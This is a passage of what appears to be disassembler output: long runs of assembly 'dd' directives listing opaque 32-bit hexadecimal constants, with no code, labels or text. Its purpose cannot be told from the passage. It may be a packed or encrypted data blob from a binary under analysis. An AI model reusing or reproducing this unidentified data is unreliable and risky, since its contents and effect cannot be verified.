907C080Fh, 3BBE7201h, 0CEF0DDBAh, 61CB3881h, 3A8C163Ch dd 0CED18B4h, 837B81A6h, 0AD4EA368h, 0B8754080h, 55D20025h dd 5AAC0C3Dh, 0D5012ED4h, 837F06EEh, 1CC4F073h, 9B3D0256h dd 4782C767h, 4B23209Eh, 0C87902D5h, 0E003A51h, 0C164DDC4h dd 0EFF37A90h, 0DE8450D4h, 0C93E46AFh, 18F00CCFh, 0A413028h dd 881C2EBEh, 12C38CD4h, 0A0E079Eh, 40DFD067h, 0A7EC8D92h dd 177A130Dh, 344FAE8Ch, 2AB53EDh, 0B3AD1CF8h, 7E466700h dd 8B0F2589h, 0BF4068F4h, 974E7D3Dh, 215CCD0h, 881C4092h dd 89201848h, 4D00BC9Bh, 0F4A13A36h, 4871C735h, 84230C86h dd 8D967C01h, 4D186CBBh, 457788h, 0A5598C96h, 92B6BF82h dd 0A4A861C1h, 0C88A4FB5h, 0CB2BEh, 21170818h, 7B0F3F59h dd 0E5871F3h, 40949596h, 0DC05DE14h, 6E5CBB66h, 2CC0E004h dd 0B9F96441h, 4CE43ADDh, 4A620CCBh, 1F50864Bh, 0B32370A4h dd 101C233Bh, 23A44744h, 763A86FCh, 1B302147h, 44FD618Bh dd 0E555008Eh, 492AD5C3h, 81030398h, 0C19C8D63h, 0C2D0069Eh dd 70F57405h, 0F9D10C1h, 685B72D1h, 47D61E88h, 0F2E307F5h dd 2089F9C7h, 0C0E58B68h, 0FA10280Dh, 10A14C54h, 708C51BCh dd 0DEF501A3h, 88123BD2h, 211FD319h, 7F5377FDh, 0B2D50B02h dd 62744F2Eh, 0A8334F30h, 50C78A8Eh, 9AE985Fh, 3353F9C4h dd 5048D011h, 0DE59ECA0h, 0F13F200h, 1085DF87h, 82190F44h dd 0D8C13B45h, 0CD05BB84h, 708440F9h, 4899B98Fh, 8F3DFEF0h dd 5C88FEC7h, 8843162Ah, 61A66F00h, 327487F3h, 0BEF50099h dd 0E2313D08h, 0BB76B47Ch, 0D1FD8830h, 0E5C3C194h, 60DD4C20h dd 7595E9E8h, 0BCA08508h dd 0A21E8B89h, 6A439B01h, 916ECBA9h, 0B52F1A81h, 33052014h dd 5F119003h, 0F63899C9h, 0DEEE08h, 0B7495E4h, 0D3C74226h dd 0AA27FB04h, 80EBF3FCh, 0BA45AE67h, 0C31CAB1Fh, 128AE8C0h dd 0FC4CF1h, 9F9D341Eh, 7065B53Dh, 0C6482300h, 0D1E894EBh dd 0C1BBFC68h, 5F14F560h, 7FA1DC27h, 9C176C00h, 3B984D3Eh dd 57890EF8h, 48B88B35h, 1830F219h, 51AA99B0h, 488EE9E6h dd 86C054F1h, 4EB6E3EBh, 774B8B00h, 8047E234h, 3050C12Fh dd 83ABD4B3h, 0F6176FA8h, 1B180034h, 9B7E6488h, 2F0F70F0h dd 804CE710h, 0FC33E118h, 0D1918BAh, 1AB5B199h, 83829D39h dd 12E93A3Fh, 0A7083077h, 9D61DC21h, 0C9F7B90Fh, 81E037Eh dd 2E5006D1h, 809EA8ABh, 341A8306h, 81D8CF73h, 0BA109888h dd 0F35463DCh, 0C320209Ch, 2848C5Fh, 69958F1Dh, 80A2E906h dd 0A580EBC4h, 0DA56EA6Ch, 8CC6372h, 0A621C0h, 3555F5E3h dd 0B97774BDh, 5902FE01h, 0CA5C1F6Eh, 4613A080h, 67FF2595h dd 5BD77815h, 0F7C50CD8h, 48478D6h, 0DD92E3E5h, 7F3E00E4h dd 71671E58h, 5FB719B9h, 9ED508A9h, 58801C21h, 8B7139B3h dd 507E41Ah, 846350A0h, 0BAC42897h, 2F6C8E06h, 0E890DC30h dd 9464305Bh, 0E4172A28h, 6F18CB60h, 2BB20C86h, 1F097E1h dd 7DB5DE11h, 5B1024B7h, 0F126151Fh, 6C6212D2h, 0D7620A0h dd 8F043526h, 0DDCE0232h, 499B5481h, 88606005h, 0BB1F5E6Eh dd 603CF28Eh, 0AC632E41h, 6BA0C9C2h, 88407F86h, 2B26C915h dd 47750358h, 7B5A720h, 0E8A6FD58h, 0E990D202h, 50694A0h dd 0A71282CAh, 0A8709AD9h, 53942554h, 2E0E9470h, 2058A8B3h dd 0FE0062E1h, 3E78FCFBh, 603B6867h, 349A684Ah, 0C0C1EDF3h dd 4B935847h, 29802422h, 0D1C5738Dh, 2DF66E03h, 935053h dd 0B0542258h, 0B9F2A0A1h, 0A50C48A8h, 0CC005492h, 0AC5DB790h dd 1EC8758Bh, 92CE070Ah, 0CB68015Eh, 813F9C46h, 6C1961B0h dd 8424C427h, 68630C1Ah, 0FB907E59h, 0B00BBA24h, 809D1CC0h dd 220F461Ah, 63D600AEh, 0CBC5259Dh, 0F500FAC1h, 35809CA4h dd 0E6CCA52Eh, 284148B4h, 5ED51F81h, 0B840D618h, 6F89EBE7h dd 0E80F1208h, 41CFA281h, 0A56768A8h, 9C3ADC00h, 85FE5B00h dd 0B01935ABh, 84F4D04Bh, 0A82EEB06h, 0D88CD0CEh, 0BCCC8E48h dd 92E8CBFh, 74003F40h, 0A101A98Ch, 0F81515C7h, 3081FCAFh dd 8A4CC53h, 79A10112h, 2C5B3174h, 0AD18A8ACh, 4506B51Fh dd 380CF5DFh, 4C9918A7h, 0ACBC64FBh, 0FECE008Ch, 0F7B5EF43h dd 8200902Dh, 7AC6D5FDh, 4651289h, 43C59535h, 0F30706F0h dd 79A700D9h, 0E23886F9h, 6FE8158Eh, 64247E79h, 586AAC1Fh dd 1347BB0Bh, 0CF10100Ch, 2BD84055h, 8420C758h, 608B54BBh dd 2020F212h, 4AA115F8h, 8010813Fh, 8832BADDh, 1258B922h dd 4E8B5AE1h, 665220ECh, 65027840h, 8F341B32h, 467464D7h dd 588002E6h, 3191671Dh, 0B81B10D8h, 0C9430758h, 21C2A516h dd 34A04F6Eh, 4043800h, 7C90D185h, 0A5760CD8h, 60D7C434h dd 3D78B144h, 984C8526h, 1DF8410h, 1F91F213h, 6660B7FFh dd 90744D61h, 8CA5B8h, 8B982181h, 0F36D9212h, 19048C9Bh dd 1897A20Ch, 16485FD0h, 67864h, 66A18D68h, 8EB9F4ACh dd 6026D409h, 24EC91E7h, 880C04F6h, 900F8C4h, 154D6DECh dd 1DCE1F88h, 58F21491h, 8E2E91B9h, 7440A0ACh, 82028CECh dd 61671B58h, 13D919BAh, 4F58D829h, 0DF4A3A3Fh, 0B2F8630Ch dd 0FA098C88h, 7736C0Fh, 2B987704h, 0A67A0C1Ch, 0EC00AC89h dd 2400A33h, 0EA987FAh, 9F780F90h, 8455F4E0h, 27146EBEh dd 6BC4870h, 0CC265B2Ch, 1CF12C68h, 0B3AE4220h, 0E8A008E4h dd 80B8912Fh, 0E0DE3835h, 0E0A8E062h, 80E5570Ch, 81738986h dd 696EB609h, 9440A9BBh, 4B480AA8h, 9030BFA8h, 47E41A90h dd 69E0C020h, 4C34A4CFh, 182314A5h, 849D1D0Bh, 14D80758h dd 64D788ABh, 1D7C9D00h, 71484558h, 7A8B87Dh, 8D2E6254h dd 2578903Ch, 5678B64Bh, 0F18428B3h, 0C898BA4Ch, 5B2F09F5h dd 2848A570h, 0B401B8E5h, 0C0C6BFF2h, 0CC700B49h, 0A4AD547Bh dd 0CBC0FFD4h, 270F009Eh, 3BB88E90h, 28983718h, 0F4A9E720h dd 0F27320FCh, 1D205E09h, 95CF8082h, 9A975AAAh, 4EE3055Ch dd 4E4CD7ECh, 0CE298CDCh, 0C4D45430h, 83F4D338h, 0F40679Ch dd 0EA6001B8h, 16EC7E6Ah, 0B080C63Ch, 9D04B350h, 0FB02F8BAh dd 2D5C88B7h, 205C40C9h, 0CCDF262Ch, 0FC024F38h, 3C48CBC3h dd 0B940137Ah, 0C8246242h, 2007ABFFh, 0BFC383h, 9013E239h dd 0AD37A5C0h, 14805890h, 5F0E14E8h, 0A10D1C07h, 443C27E2h dd 169E2074h, 606B958Fh, 16F5ED54h, 11DA6C23h, 0E5A400BEh dd 9983EBF5h, 0F4DCE1D4h, 78650C1Ah, 3499B063h, 15C87320h dd 98A40D7Fh, 0C0F3F41Dh, 0D861D2DCh, 2C00EA28h, 269E3181h dd 0F93F2245h, 0A17F4888h, 0B335F401h, 9C42B03Ch, 44E0DFE4h dd 4D607B20h, 14079520h, 0C4C2001Ah, 414082BBh, 0F707C9FBh dd 16D1B0BEh, 1B678890h, 0D0A500DBh, 22560D6Dh, 0E420F6F2h dd 3DFB24F7h, 204E14A2h, 18D80AF1h, 0E42803F9h, 0FB396ED9h dd 0C45D00AFh, 80EB4D2h, 802B76D3h, 0EA82E82Ah, 0F98A0386h dd 444FC125h, 0B5D0A390h, 0FBB8C200h, 3201E17Bh, 0C3310030h dd 4C39D95Dh, 58C072B2h, 0BE928EC9h, 85F82623h, 7DEF0C83h dd 21C08208h, 4DBE8AAFh, 104B6057h, 691F5E6Eh, 7C23EA00h dd 3CA97158h, 74B600FDh, 0C3322270h, 6D03890Ah, 687FFA93h dd 0F790066Bh, 0F1D7E0F6h, 74324F18h, 27EE18h, 0A43FC9DDh dd 3D571CFBh, 35969C9h, 0D0C2CAE0h, 66BA72EEh, 214F083Fh dd 8D4E7C00h, 0B37DE176h, 0F7B1C078h, 0AE3EEBCh, 87CA0B00h dd 678489DFh, 704D607Ch, 0C5A5BEFBh, 86401903h, 5462057h dd 8F3A3518h, 61B801CAh, 80E51383h, 889267C8h, 0A035197Fh dd 0E01EEED0h, 0C4BF0A20h, 80B0C390h, 5B0A6E29h, 23753B81h dd 413149C0h, 0F5AA5C9h, 0E98E9BE4h, 3AE162E0h, 9A519105h dd 0F72C0084h, 1892E0C6h, 73427E01h, 984F0A3Fh, 15D8D99Dh dd 9380DC4Dh, 8DF824BEh, 0B084448Ch, 80BE8B0Eh, 91F4A76Dh dd 74F77720h, 0A03A5475h, 0A3B83CBCh, 7DCAC060h, 0B9CF98BEh dd 21C50365h, 2878FEh, 9932291Bh, 3D934684h, 80E7C33h dd 42310015h, 0E0F23221h, 0D05F8C5Ch, 6C0678A8h, 609527B8h dd 8882348h, 619C639h, 899FF3D8h, 9390C208h, 7AB30C8Ch dd 0D700DCC1h, 0C8AB06D6h, 0F4CB45D4h, 2C4D00D2h, 757222A7h dd 4E300A39h, 0BF3531B2h, 0B8E549F8h, 0C064A178h, 32082418h dd 0C41E8494h, 1C405E16h, 6687A632h, 70051F89h, 8449840Dh dd 83C490CFh, 0A314216Ch, 345844h, 0D4D37EF8h, 0F4308F43h dd 0C3F70014h, 0D8FFFD65h, 83E1EBF2h, 6F906260h, 0C8E840A1h dd 0C92E6CD6h, 7C009F49h, 7B2422BBh, 90310387h, 3348F80Ch dd 0BE81CB80h, 0DF40E87Bh, 0EED91842h, 0D224150h, 3FE0C9C0h dd 4CEB98D1h, 8C0280C0h, 9222099Dh, 0FA124D40h, 0BFD6ED00h dd 3952AE56h, 0A0C330B0h, 896F3498h, 71CDE330h, 71FCC6E9h dd 5DB30C53h, 0DE094AFFh, 0BF0921C0h, 0E68EDCFCh, 904E2BEh dd 0A5AD4017h, 55618803h, 14FFA2B9h, 0C0C4C808h, 84983228h dd 13223E46h, 3220410Fh, 438B077Eh, 307F2470h, 76E49266h dd 84E651D6h, 1188F40Eh, 9C332DC0h, 4CF800D5h, 92F3C24Fh dd 7226621Bh, 1E4448F4h dd 0CC8D5860h, 1167C223h, 507E0051h, 0AFBCAB8Dh, 487A0724h dd 30D5A1BAh, 0C7217BCDh, 8AFF8014h, 0FDD90CB4h, 2448393Ch dd 25F9CB2h, 0B60579C2h, 30B50C60h, 0C04E5780h, 0BD132F29h dd 8600ED0Bh, 0A9F9F1BAh, 3F0A2E9h, 52DAC05Bh, 8AB1755Fh dd 25822E4h, 3EEDB947h, 1277E25Eh, 0F8CC0F90h, 3C5CE390h dd 40901E4h, 480424D3h, 8800CE89h, 0B454C00Fh, 3AC37860h dd 63FEFD9h, 638844B9h, 4F0F89Eh, 681D6F34h, 715FA081h dd 46334D00h, 884B0A24h, 0A0880249h, 0D6F090D5h, 0A351C1B9h dd 0D36F33FEh, 30A631C3h, 13404948h, 300DB814h, 15FD684Bh dd 0F380C200h, 90E86560h, 83100EF4h, 0CD5163D8h, 0C9C2EA03h dd 3E2C3324h, 8D9AC618h, 4A0B1A9h, 0F26324C8h, 3803A098h dd 0AF01BCBh, 3BBFD85Ch, 80C49054h, 2098C278h, 77BA09Bh dd 7D187160h, 99CA43BCh, 180FF14Ch, 3FDCA1D8h, 6807D821h dd 27AB2B41h, 52BFA848h, 8F11B488h, 87B8080Ah, 4EB30B9Bh dd 0C8870029h, 0D42628D0h, 1030980Bh, 0C2E45844h, 48C45F19h dd 0E71FB840h, 0C37DB8C2h, 998621FDh, 0FE9096D9h, 7F845002h dd 0C140E85Ch, 3030D693h, 87D88F1Ch, 5A00B57Fh, 0A6FFCE52h dd 0D16CBC0h, 1E0803B6h, 0A2743330h, 33983087h, 71288600h dd 2F904538h, 90E1549Fh, 1405E503h, 8B261C18h, 0FCC8C070h dd 0C3465355h, 0B01E022h, 31A2FCC1h, 1870728Ah, 24445CACh dd 12F0288Fh, 5C204C0Ah, 4190F6F9h, 0EC81F1FEh, 3505B08Ah dd 0CC18BEF8h, 5430AC21h, 98EEF700h, 0C486C4A8h, 0FA31F201h dd 0FCB0F3D9h, 60871034h, 282F91CEh, 57090C4Ah, 0ADF2F4h dd 60D1F348h, 0FA3D01DCh, 0ECB9CF9Ah, 1CD6D8C0h, 5C58D062h dd 20984934h, 5A026836h, 77C2CE8Dh, 80105531h, 71008D52h dd 174BF7B5h, 483DA946h, 4E6834F3h, 0F03000B0h, 0D9A47903h dd 11D91CB9h, 0B77D618h, 79435830h, 4860C001h, 260C97D2h dd 0F758E113h, 0FB08BE13h, 44570821h, 0AA848C10h, 0A2098A01h dd 5D0BF23Ch, 0F3C4F08Ch, 3309009h, 0FC55B07Dh, 0F42F4896h dd 0A420F789h, 0FD3B2BF5h, 7980714Ch, 3AB8D354h, 0A2033871h dd 0F08A14Ah, 0BCCFE1BAh, 10849024h, 2945CC5Fh, 0D41ADCF1h dd 19B80499h, 0C78D5360h, 113FC223h, 4B790050h, 0C1160E8Dh dd 54D89824h, 60E39418h, 1B2D91DBh, 2100ECE2h, 0AA20C9E9h dd 924E96h, 2C8FA7B1h, 6CCEF8ADh, 55A0D363h, 0A03DF84Bh dd 0C6E50684h, 0F05FFFB0h, 7FA2A0Eh, 5048E62Ch, 88CF51C0h dd 2089C221h, 682081B3h, 2A970B7Bh, 9F52D43Bh, 0E341792Ch dd 8E8CE63Fh, 90C262C4h, 4E1C208Ch, 0C0A6D3Ch, 1047B487h dd 4C770A2Dh, 1C889588h, 21F28AF4h, 903802C0h, 0CC806F4Bh dd 0D992C84h, 24942D48h, 483AC24h, 485B0C57h, 0F43C0C48h dd 0C45A4D72h, 1B48900h, 343E4EA1h, 0EFC07364h, 0C82068A1h dd 0B49F883Dh, 8A449617h, 1223403Ah, 97FB1602h, 0D324409Ah dd 0FA308084h, 0D4503160h, 9161D0F3h, 80C11180h, 84953225h dd 0C070B926h, 3F321D3Eh, 6FF18700h, 786784D0h, 0CEF7805Eh dd 25F51022h, 0DC97D8CBh, 0E1818711h, 0ECBFFE74h, 1CB138D6h dd 7B0C5385h, 49F8C440h, 985FD602h, 6344204Ch, 0A04A562Ah dd 80B1653Eh, 425D9E38h, 0C4BDD1h, 8862BBF5h, 821FB11h dd 8C89D1CCh, 3FE405h, 532D7BFAh, 0D99043B0h, 6E99FC60h dd 25B35A93h, 6CA4546Ch, 0BE986052h, 0B5F82329h, 387B8811h dd 2402BE90h, 0DB640A18h, 314B8CC0h, 55D45F03h, 0D4E49A2Fh dd 7AE19890h, 521000F7h, 87EFFD04h, 0D4039E46h, 0F2BB33BCh dd 3D9CE0B2h, 0F8F6EC2Bh, 12096E8h, 0B8BC783Eh, 9058FEB3h dd 4B52E203h, 37F9FA1Dh, 0A1607616h, 3402EEF4h, 10F69828h dd 342C980h, 2C4D5395h, 20242823h, 0BE0A7639h, 6578208Ch dd 0D4808C0Dh, 9F8010E7h, 6191247Ch, 0A8A12B0h, 0C59C5138h dd 0F8498197h, 859C58ADh, 8FB488h, 0B677B0BEh, 13755E5h dd 0A267801Ah, 303052E0h, 0AD317DB1h, 0B400C2B6h, 2FFD5584h dd 1FE48ACh, 86FA0631h, 2049145Fh, 0A105C814h, 853B1B3h dd 400C24C1h, 8289065h, 0EC4C1493h, 0D1E1EC13h, 7132F400h dd 0DC40EE38h, 0F8C56B0Ch, 50D2D71Ah, 0BB1060EEh, 2ED58086h dd 9105AF01h, 722D76F4h, 0A1806438h, 0F974A5CFh, 213F40AFh dd 254108D7h, 80C93892h, 0E5439C60h, 3EBB4400h, 0D3C47A13h dd 0F6BE3C04h, 0FC9DFA43h, 247880C2h, 0A74D6100h, 35D47042h dd 0D39474BFh, 39E04968h, 6CE8AC0Eh, 80389308h, 0E1CFF3BCh dd 4F26C243h, 6F957434h, 0C4660FC0h, 90177ECEh, 0FC505867h dd 8CEB535Ah, 10E644h, 9627FCC6h, 65F47D36h, 751F801h dd 8FF6EF88h, 0F2D8FB10h, 0C4896467h, 5073EBF2h, 782C09C4h dd 0B0C974F7h, 425611B0h, 128031B8h, 7578CFC0h, 9A5C0E72h dd 0A0007F74h, 0DF40A97Ch, 1658235Ch, 48CA1446h, 55C31B84h dd 9BF6AE8Dh, 1521184h, 0DF8D4D7Bh, 99C475A1h, 6D60C064h dd 7963B8BDh, 8B44589Eh, 40DAE445h, 14607E80h, 480050D0h dd 0EDAF4736h, 143D7D0Eh, 0E4B83E27h, 48F29711h, 8C11E8D8h dd 2DD193Ch, 98863AD8h, 524090D9h, 0B5780007h, 2B012202h dd 9A02177Fh, 23D280ACh, 0B448EBB4h, 0E8BB3482h, 30B0C238h dd 53D87693h, 0A1C0C1F4h, 0AE2D6EF8h, 0C965029Bh, 0E1C8F6FAh dd 0F744D852h, 4C610F9h, 0A1AC17DFh, 0F4785004h, 5836101h dd 87820E1h, 0EC325789h, 0D6D5F700h, 0E59BFAEh, 4F3A1100h dd 0DC4C4584h, 3F49EE4Dh, 0E0D3C9B2h, 0B304EA2h, 0A47C01D9h dd 0CF75D746h, 7AF07257h, 0B68E5200h, 9DE3DF16h, 209090ACh dd 0D400585Ch, 0F8CED5BAh, 4CED80C2h, 4B1D0C5Ah, 3E5B4F48h dd 70180D73h, 3BB86019h, 14CAC488h, 0D8BB7E1Ah, 9C90E48Bh dd 0EB0067D2h, 42A99148h, 7D168Ah, 0C2C8D82Ah, 586C79E1h dd 7494C60h, 0F8599h, 0F481BAAFh, 161ABF0Bh, 0D100AFB8h dd 0C940F6F0h, 0A1E75D24h, 0C321D4h, 7BA00771h, 0F030A9F5h dd 65DFB09h, 0D36482C9h, 46B07A77h, 0FCC7028Ah, 1CBB5354h dd 0FCC00A04h, 60C3C592h, 1216E4ACh, 21DE12B0h, 20B60F74h dd 0D9115BECh, 35003AF0h, 0D01C947Ch, 0C2E642E0h, 9F902Dh dd 0EF6E1A40h, 0C039D01Eh, 12427810h, 670A3427h, 108C0E1h dd 7444245Bh, 7103E546h, 2335C455h, 0D53C90D0h, 2BB2ECF1h dd 0F388589Ch, 20CC289Fh, 38A1E62Ch, 8DC4191Fh, 6FC22FCDh dd 7F020416h, 6A968D51h, 0A6C985Dh, 39382B89h, 808E91C0h dd 5358FCCBh, 0E0087DBh, 3D3EFCC4h, 0DDBA01D5h, 80C35FA4h dd 0F34024F9h, 2AEB2312h, 1FB028D3h, 0B30BD319h, 0D4CB89E9h dd 82215100h, 8829BC5Eh, 7CF6EAD9h, 0EDB0223Ch, 172C550Dh dd 1C58380Bh, 52504D9h, 95A24F84h, 0CC9403E4h, 65A73E8Eh dd 24488744h, 672401B5h, 0E8475794h, 305338B5h, 0E2C8F0CBh dd 7400B8CAh, 7E3317A3h, 42FF5AC3h, 0E5278324h, 0D494204Ch dd 841DFD10h, 1862987Fh, 102CF6F9h, 2444C0EBh, 4B03005Fh dd 5E602830h, 8867552Bh, 0E22C8303h, 6CC1847Bh, 0E301D304h dd 0CA18ED1h, 965C01B9h, 48202659h, 0CC6049F4h, 3EC06E4Ah dd 4F369461h, 0BCBF22A8h, 0A8404EC4h, 71C43B29h, 3F38DD00h dd 0FF4CBE19h, 4BBC1DBBh, 0C79934Ah, 27E192D0h, 5F2CF809h dd 9C04947Eh, 0E1465644h, 11F40A76h, 9982791h, 3481421Ch dd 30B5931Bh, 7C912610h dd 0C56A8100h, 8091A3B8h, 3A4A7332h, 8223B83Bh, 32888814h dd 674B61B6h, 60E34464h, 3CCB51C9h, 0EF00B1B5h, 0A5A37C9Fh dd 0BF057B01h, 8980C733h, 51A48B0h, 0A3886B68h, 3CCC88Fh dd 744F155Ah, 4CB023h, 9F003C22h, 0F9F4C386h, 539D4F0Ah dd 8AA27839h, 78DF30h, 8B73061Ah, 0D5A1C88Fh, 2FFF201h dd 0EFDCF67Ah, 0D46C4421h, 5320F9A2h, 5A86235Fh, 23F83BDEh dd 5E120E15h, 8DC02BE1h, 0B9F0476Ah, 7E051858h, 0A3440887h dd 97DA3C08h, 0CCE0284Ch, 4CC4D488h, 9110B4CEh, 10FC58E7h dd 0B30A79CBh, 44984DA4h, 0BE94604Eh, 95F82325h, 0B1008311h dd 1BA6BE8Ch, 0CC6E8649h, 22CEE289h, 1178D926h, 32829FBEh dd 710E8492h, 1A3B60BCh, 0A713EC32h, 0AC04C128h, 0CB015B0Dh dd 1005AB03h, 4D04534Bh, 932698FFh, 262A082Ch, 4B9B2305h dd 0DD885C8Eh, 0B080CCC4h, 344D62FEh, 4871D32Ch, 0BA40ADA8h dd 0C494B5EDh, 0C85CABA0h, 268C8FB0h, 3D3DFCCCh, 0FE13058h dd 368C20C5h, 0D20530B0h, 0E235703h, 510A8445h, 0CE082CB2h dd 0E837FA34h, 670027F4h, 87B47C8Ah, 2C224217h, 8442848Dh dd 79282074h, 0A61705F0h, 0C48CF789h, 0E9B40199h, 531A905Ah dd 806A612Ch, 8E7E9A18h, 2DB0627Fh, 0A0059DFFh, 9750402Fh dd 8549D0D6h, 9D267700h, 9CF0A3B0h, 6A1D011Ah, 2A722166h dd 8D4430BDh, 48E3CA80h, 58116042h, 0C6AD2567h, 0C81FFFB0h dd 58495E42h, 0F96E3F78h, 96264A03h, 0B075E1C7h, 9A2C8h dd 1F13989h, 0EF8A1FF2h, 8073FA28h, 0B82CA459h, 0A9C33D58h dd 0FF1CC84Ah, 95CF7000h, 2C4B1CD9h, 1CC927Dh, 0D02F6DA8h dd 38817F48h, 0FC520508h, 34C80F36h, 1A5B4085h, 0B7F3F8A0h dd 0F0204B81h, 44E94E52h, 0E0A45F54h, 0FD2FF12Ch, 7D809807h dd 87190863h, 0C5F091DCh, 962CACD3h, 0B63E0A80h, 0E7A2B83Ch dd 0AD8C5093h, 401A2003h, 0F8BA24E8h, 891192F7h, 0B0A2681Ch dd 0FF903958h, 4A0C924Ah, 9300A0E6h, 1679E376h, 28ED483Eh dd 46C82B1Dh, 8D54021Ah, 5947C2C8h, 4C7A6050h, 741CDC8Dh dd 5CEE56FEh, 8925664Ah, 0D866DCh, 43E818EFh, 0C9204211h dd 7233C8A9h, 30E3F2A4h, 40019CDBh, 0F95814DFh, 0EC70518Bh dd 24552502h, 222D4090h, 460D8300h, 31A8723Fh, 0DB9207F0h dd 0A033591Eh, 674D29FFh, 0A8E80AFEh, 2707F092h, 0AD14A99Bh dd 908F8001h, 2FC2EC3Ch, 0B4820AFAh, 440925E6h, 9EA900C8h dd 713089DFh, 0E4EEAB3Ch, 29E92A61h, 0E0C1F6FAh, 18103C2Dh dd 0BCCF135Bh, 45BDC898h, 78FC602Eh, 5048484Bh, 0C037AD9Dh dd 61319F0Eh, 35D9BA5Fh, 5442944Dh, 0EA844B4Eh, 82C054F2h dd 9EF7883Ah, 0F0F45301h, 0A2920828h, 3053B2E8h, 40076414h dd 0C75C9618h, 6A930CE2h, 2280149Ch, 611D18BEh, 84E46D84h dd 0A535AD04h, 0E858E814h, 7B2C5481h, 504B2B29h, 0B3346043h dd 304959E0h, 63EDF200h, 62E41F20h, 0D84AC8B2h, 8461ACC9h dd 16F0522Fh, 0E3F8044Ch, 13E4F485h, 13721920h, 72F1D370h dd 380C8898h, 0D1CF2AF2h, 244F11DCh, 0A7D60841h, 26F8286Bh dd 50DC91CAh, 53125017h, 0C1FBD4B8h, 0D8B58521h, 8D0706A8h dd 0AA9E9B9Dh, 5BD3FF60h, 378B7B58h, 61200B0Dh, 0C13F68C0h dd 89049E0Fh, 2B0044B7h, 0CE1B6D95h, 4186A26h, 361E851h dd 0C3592021h, 0FC7E89C9h, 2118CCFFh, 0C3510141h, 705426B0h dd 0F408023h, 95FFFBBFh, 5A1463B1h, 314C12E9h, 0C57A0075h dd 1051B940h, 4E7B0003h, 3328807Dh, 3A0E52E1h, 6C0FC085h dd 3981350Ch, 0E381C5EAh, 0A18D8954h, 8156A029h, 0F6EC3B31h dd 1FEDB531h, 95E16447h, 84010D1h, 529DBD03h, 5223742Dh dd 44C35A0Eh, 17625489h, 0C3524220h, 71D10086h, 664FB2CCh dd 78A1D38Bh, 502B42C9h, 91456332h, 2B484489h, 50408814h dd 8DDBC303h, 40EE1985h, 6FC1DCCAh, 2DAFE30Ah, 66500C58h dd 34D6BF01h, 5E8016Ah, 94264580h, 8B6925EBh, 326DBD19h dd 2688592Eh, 7B8007E9h, 5CE3DA6Fh, 1C4C6C78h, 683BD1C0h dd 0BD0F32FFh, 0C35F3057h, 7C4689E4h, 47001622h, 2F71C357h dd 31BD899Bh, 0F7A30E5h, 722448Ch, 0F683FE8Dh, 14C5D399h dd 0ED204484h, 3CB5DDAh, 1FBF040Eh, 0AF549B5h, 83EC9887h dd 36E9EA8Ah, 56A43164h, 0C8C35E61h, 448C7489h, 5600461Bh dd 609CD2C3h, 17CE1965h, 15230A62h, 83409D90h, 6E72C8C8h dd 34B983BCh, 91F55099h, 3222B5FFh, 2231B041h, 646F38A8h dd 88F51927h, 0E9880759h, 0B60BC434h, 3F54823Ah, 1B08AC2Fh dd 8EFC01D3h, 505B4917h, 136AA034h, 0D2B70F18h, 92330D64h dd 33F951E1h, 0BD2920DEh, 6A920EADh, 0E8DE1048h, 4D148C16h dd 0B2D254C8h, 0CAC72840h, 1C46749Bh, 3BA0C100h, 0F5EF056Dh dd 8A5BB507h, 0F85E89EBh, 0D015E9DFh, 9510B233h, 19834528h dd 49B9FFCEh, 4E882534h, 0C11D8859h, 0D1D5191Ah, 7B74D4B4h dd 6AACA932h, 66F6B0FFh, 0BDD11481h, 3335C389h, 0EAC81E17h dd 37C78593h, 0BF28A9D0h, 958BC0F9h, 3D991591h, 928E0F09h dd 0F8725700h, 4D3DB00h, 0A873F2EEh, 9509089Eh, 6A922B5Dh dd 20EACDBBh, 7412CE89h, 1C720CDAh, 60C6482h, 0F2D58060h dd 2B45C261h, 2A045B02h, 0CE170A77h, 0BA424F23h, 404C76A0h dd 71770376h, 0C224AEDh, 0A67BE3BAh, 170960E8h, 0C72FEDAAh dd 0CAC64C01h, 0BD33BE3Ah, 0D58C25FDh, 572B8068h, 3125798h dd 0DD21810Fh, 0B8013E8h, 0CE69C4B1h, 60000BB2h, 5A9722FAh dd 75E928Ch, 0CC7649B8h, 0B961D791h, 9199C2BDh, 0B91005D2h dd 0A93A951Eh, 0D07EA63Fh, 8558761Ah, 0CB4C714Fh, 0A0C02D68h dd 9107ADF1h, 0A7D1145Ah, 0F6138B74h, 1B212EDDh, 2B8C1AC1h dd 0F9450184h, 0FA0C4498h, 8AFFF883h, 0FB8DDDA2h, 0CCF72514h dd 84E37384h, 20A0CD6h, 44C4A48h, 0C3558890h, 8991C35Dh dd 806B636Ch, 8DC35545h, 90DEE6B7h, 821EECAFh, 243BBB81h dd 5357915Bh, 49C3DF9Eh, 2C9C5C89h, 0C3534303h, 19757984h dd 0FF339154h, 0E1CC61D0h, 8E32412Dh, 0B129031Eh, 144501A9h dd 469B5985h, 928E91C0h, 0E952E4F8h, 879A02E8h, 860C3028h dd 0B0E5D99Eh, 12096247h, 74222DE9h, 17B4E319h, 3CD8B880h dd 0A146ACB6h, 17202246h, 0D62F40D6h, 19E27542h, 0E059E430h dd 550213A5h, 0E7590060h, 0B1611F16h, 81C29468h, 2A501160h dd 255B4A42h, 23173A04h, 0D6110118h, 915BD03Fh, 0CC000DB2h dd 0A1D19653h, 1103C11Fh, 4781D567h, 0D4D799B0h, 303B2FD0h dd 0E1A8595Ah, 80C392F6h, 5CABC580h, 2D6180Ah, 85AF5775h dd 0D39AF48h, 9D63F9B9h, 631958D9h, 664CA3D4h, 9873DB3h dd 0F104653Dh, 0FE81C8AFh, 0B50105D1h, 328C66C9h, 0C92F0E01h dd 29101B66h, 2D4109B5h, 0CB586336h, 5C5888C0h, 5B714A5Fh dd 0D02E97B8h, 46747350h, 8C660017h, 9D09BE7Eh, 4C329A49h dd 7D103F60h, 52512C32h, 0EC52228h, 79996158h, 1D883B0Bh dd 0DDA1DFC0h, 0D89206AEh, 66EE7599h, 0B2F58524h, 1FAC9FA6h dd 218467Eh, 5E2A34D4h, 0C8ABCC40h, 9EA4B1CAh, 0E9C7D00Fh dd 40202D75h, 1AE28823h, 4342F30h, 785ED287h, 0BDCDC86Eh dd 2AA23EA2h, 111F0185h, 80EF8F1Bh, 2FFFF5D9h, 31D609B9h dd 94AA8985h, 21A51D1Ch, 34EF1D08h, 506D0076h, 9F40F4BAh dd 0E71E544Ah, 286E7C0Bh, 467EE9E4h, 0BA5C0119h, 6DF3F70Eh dd 2837DF42h, 24FD0DBFh dd 60330896h, 5DBD0B12h, 9D8B3941h, 0C972C71h, 52216261h dd 1549FE60h, 0A8205F81h, 